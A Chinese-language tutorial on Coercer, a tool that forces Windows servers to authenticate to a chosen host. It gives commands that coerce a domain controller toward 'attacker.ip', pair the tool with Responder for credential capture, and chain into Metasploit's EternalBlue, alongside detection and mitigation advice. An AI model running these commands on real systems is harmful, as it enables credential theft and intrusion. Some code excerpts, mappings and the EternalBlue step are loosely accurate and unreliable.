域渗透之MS-RPC协议自动化评估工具Coerce分析
字数 2765 2025-08-06 12:20:48
MS-RPC协议自动化评估工具Coerce深度解析与使用指南
1. Coercer工具概述
Coercer是一个用于自动强制Windows服务器在任意机器上进行身份验证的Python脚本,专为安全研究人员和渗透测试人员设计。
核心功能
- 列出远程机器上的开放SMB管道
- 尝试连接远程机器上已知的SMB管道列表
- 逐个调用易受攻击的RPC函数
- 生成随机UNC路径以避免缓存失败的尝试
- 可配置尝试之间的延迟
主要特点
- 支持按方法名称、协议名称或管道名称进行筛选
- 可指定单个目标机器或从文件中指定多个目标
- 可指定IP地址或接口以侦听传入的身份验证
- 支持SQLite、JSON和XSLX格式的结果导出
2. 相关协议基础
2.1 MS-RPC协议
MS-RPC(Microsoft Remote Procedure Call)是Microsoft开发的远程过程调用协议。
主要组成部分
- 命名管道(Named Pipes): 基于SMB协议的双向通信机制
- 接口UUID: 全局唯一标识符,用于标识特定接口
- 版本号: 表示接口的特定实现版本
安全风险
- 远程代码执行
- 拒绝服务攻击
- 未授权访问
2.2 SMB协议
SMB(Server Message Block)是应用层网络协议,主要用于局域网资源共享。
特点
- 可靠性(TCP/IP传输层)
- 安全性(访问控制、加密和签名)
- 易用性(操作系统高度集成)
- 可扩展性(支持多种扩展功能)
安全风险
- 中间人攻击
- 拒绝服务
- 未授权访问
2.3 MS-RPC与SMB的关系
- MS-RPC可通过SMB协议进行传输
- SMB充当MS-RPC的底层传输协议
- 两者可协作实现跨网络远程访问功能
3. Coercer代码深度解析
3.1 核心功能模块
try_login函数
def try_login(target, credentials, port=445, verbose=False):
"""
尝试使用给定凭据登录目标系统
:param target: 目标IP或主机名
:param credentials: 认证凭据
:param port: SMB端口(默认445)
:param verbose: 是否输出详细信息
:return: 登录成功返回True,否则False
"""
# 检查匿名凭据
if credentials.is_anonymous():
return True
try:
# 创建SMB连接
conn = SMBConnection(target, target, sess_port=port)
# 尝试登录
conn.login(credentials.username, credentials.password,
credentials.domain, credentials.lmhash,
credentials.nthash)
return True
except Exception as e:
if verbose:
print(f"登录失败: {str(e)}")
return False
action_coerce函数
def action_coerce(options, credentials, reporter):
"""
执行操控操作,使目标系统尝试进行身份验证
:param options: 命令行选项
:param credentials: 认证凭据
:param reporter: 结果报告器
"""
# 过滤可用方法
filtered_methods = Filter(options).filter_methods()
# 遍历所有方法组合
for pipe, uuid, version, methods in filtered_methods:
try:
# 连接到管道
dce = connect_to_pipe(target, pipe, credentials)
# 绑定到接口
dce.bind(uuid, version)
# 尝试触发身份验证
for method in methods:
trigger_authentication(dce, method, options.auth_type)
except Exception as e:
reporter.report_error(str(e))
3.2 工作模式
Coercer根据options.mode执行三种操作模式:
3.2.1 强制模式(coerce)
- 尝试使用给定凭据登录目标
- 遍历所有可用方法组合(管道、UUID、版本)
- 连接到管道并绑定到接口
- 尝试触发身份验证
- 生成随机UNC路径避免缓存问题
3.2.2 扫描模式(scan)
- 过滤可用方法
- 按类别和方法名称排序
- 遍历所有命名管道任务
- 检查管道连接和会话绑定
- 测试所有可能的协议类和方法
3.2.3 模糊测试模式(fuzz)
- 初始化并应用过滤器
- 准备远程命名管道列表(匿名或获取)
- 执行类似扫描模式的测试
- 寻找引发错误或异常行为的输入
- 捕获和处理各种结果
4. 详细使用教程
4.1 安装与配置
安装依赖
pip install impacket
pip install pycryptodomex
pip install ldap3
克隆仓库
git clone https://github.com/username/Coercer.git
cd Coercer
4.2 基本命令
强制模式示例
python coercer.py coerce -t 192.168.1.100 -l 192.168.1.1
扫描模式示例
python coercer.py scan -t 192.168.1.100 -u admin -p password
模糊测试示例
python coercer.py fuzz -t 192.168.1.100 -o results.json
4.3 高级选项
| 选项 | 描述 | 示例 |
|---|---|---|
-t/--target |
目标IP或主机名 | -t 192.168.1.100 |
-f/--target-file |
包含多个目标的文件 | -f targets.txt |
-l/--listen-ip |
监听传入认证的IP | -l 192.168.1.1 |
-a/--auth-type |
认证类型(smb/http) | -a http |
-d/--delay |
尝试之间的延迟(秒) | -d 2 |
-o/--output |
输出文件(JSON/SQLite/XSLX) | -o results.xlsx |
--filter-method |
按方法名称过滤 | --filter-method EfsRpcOpenFileRaw |
--filter-pipe |
按管道名称过滤 | --filter-pipe lsarpc |
4.4 实际应用场景
场景1:识别易受攻击的RPC端点
python coercer.py scan -t 192.168.1.100 -u domain\user -p password --filter-pipe samr
场景2:强制域控制器进行身份验证
python coercer.py coerce -t dc01.domain.com -l attacker.ip -a smb
场景3:大规模网络评估
python coercer.py scan -f domain_controllers.txt -o dc_scan_results.sqlite
5. 防御与缓解措施
5.1 检测Coercer活动
监控指标
- 异常的SMB管道访问模式
- 频繁的RPC绑定尝试
- 非常规UUID访问记录
- 来自同一源的多种身份验证尝试
Windows事件日志
- 事件ID 4624(登录成功)
- 事件ID 4625(登录失败)
- 事件ID 5140(网络共享访问)
5.2 防护措施
网络层防护
- 限制SMB(445/TCP)和RPC端口(135/TCP)的访问
- 实施网络分段,隔离关键服务器
- 启用SMB签名
系统层防护
- 应用最新的Windows安全更新
- 禁用不必要的命名管道
- 配置防火墙规则限制RPC访问
- 启用Windows Defender攻击面减少规则
组策略配置
- 配置"网络安全: 限制NTLM: 远程服务器例外"
- 启用"网络安全: 限制NTLM: 审计NTLM身份验证"
- 配置"网络安全: 限制NTLM: 添加远程服务器例外"
6. 高级技巧与最佳实践
6.1 优化扫描性能
并行扫描
from multiprocessing import Pool
def scan_target(target):
# 实现扫描逻辑
pass
if __name__ == '__main__':
targets = ['192.168.1.{}'.format(i) for i in range(1,255)]
with Pool(10) as p: # 10个进程
p.map(scan_target, targets)
智能延迟设置
- 根据网络延迟动态调整
-d参数 - 失败后自动增加延迟
- 成功响应后减少延迟
6.2 结果分析与报告
JSON结果示例分析
{
"target": "192.168.1.100",
"timestamp": "2023-05-15T14:30:00Z",
"findings": [
{
"pipe": "lsarpc",
"uuid": "12345678-1234-1234-1234-123456789abc",
"version": "1.0",
"method": "EfsRpcOpenFileRaw",
"status": "vulnerable",
"auth_type": "smb"
}
]
}
使用Pandas分析结果
import pandas as pd
df = pd.read_json('results.json')
vulnerable = df[df['status'] == 'vulnerable']
print(vulnerable.groupby('pipe').size().sort_values(ascending=False))
6.3 集成到渗透测试工作流
与Responder集成
# 在第一个终端启动Responder
python Responder.py -I eth0
# 在第二个终端运行Coercer
python coercer.py coerce -t 192.168.1.100 -l attacker.ip -a smb
与Metasploit结合
# 使用Coercer识别漏洞后
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
exploit
7. 常见问题解答
Q1: Coercer与PetitPotam有何区别?
A: Coercer是一个更通用的MS-RPC测试框架,而PetitPotam专门针对特定的MS-EFSRPC漏洞。Coercer可以测试多种RPC接口,覆盖面更广。
Q2: 为什么某些管道无法访问?
A: 可能原因包括:
- 目标系统上服务未运行
- 网络防火墙阻止访问
- 账户权限不足
- 目标系统已应用安全补丁
Q3: 如何判断测试是否成功?
A: 成功指标:
- 监听器收到身份验证尝试
- 工具报告"vulnerable"状态
- Windows事件日志显示来自目标的认证请求
Q4: 测试对企业网络的影响?
A: Coercer会产生大量认证请求,可能导致:
- 网络流量增加
- 目标系统日志增长
- 可能的账户锁定(如果配置了锁定策略)
建议在非生产时段进行测试,并通知相关团队。
8. 总结与资源
关键点总结
- Coercer是评估MS-RPC安全性的多功能工具
- 支持三种操作模式:强制、扫描和模糊测试
- 依赖MS-RPC和SMB协议的工作机制
- 可识别多种NTLM中继和RPC相关漏洞
- 需谨慎使用,避免生产环境中断
扩展资源
- Microsoft MS-RPC协议文档
- Impacket库文档
- Samba SMB实现源代码
- MITRE ATT&CK相关技术(T1558、T1570)
- Windows安全基线指南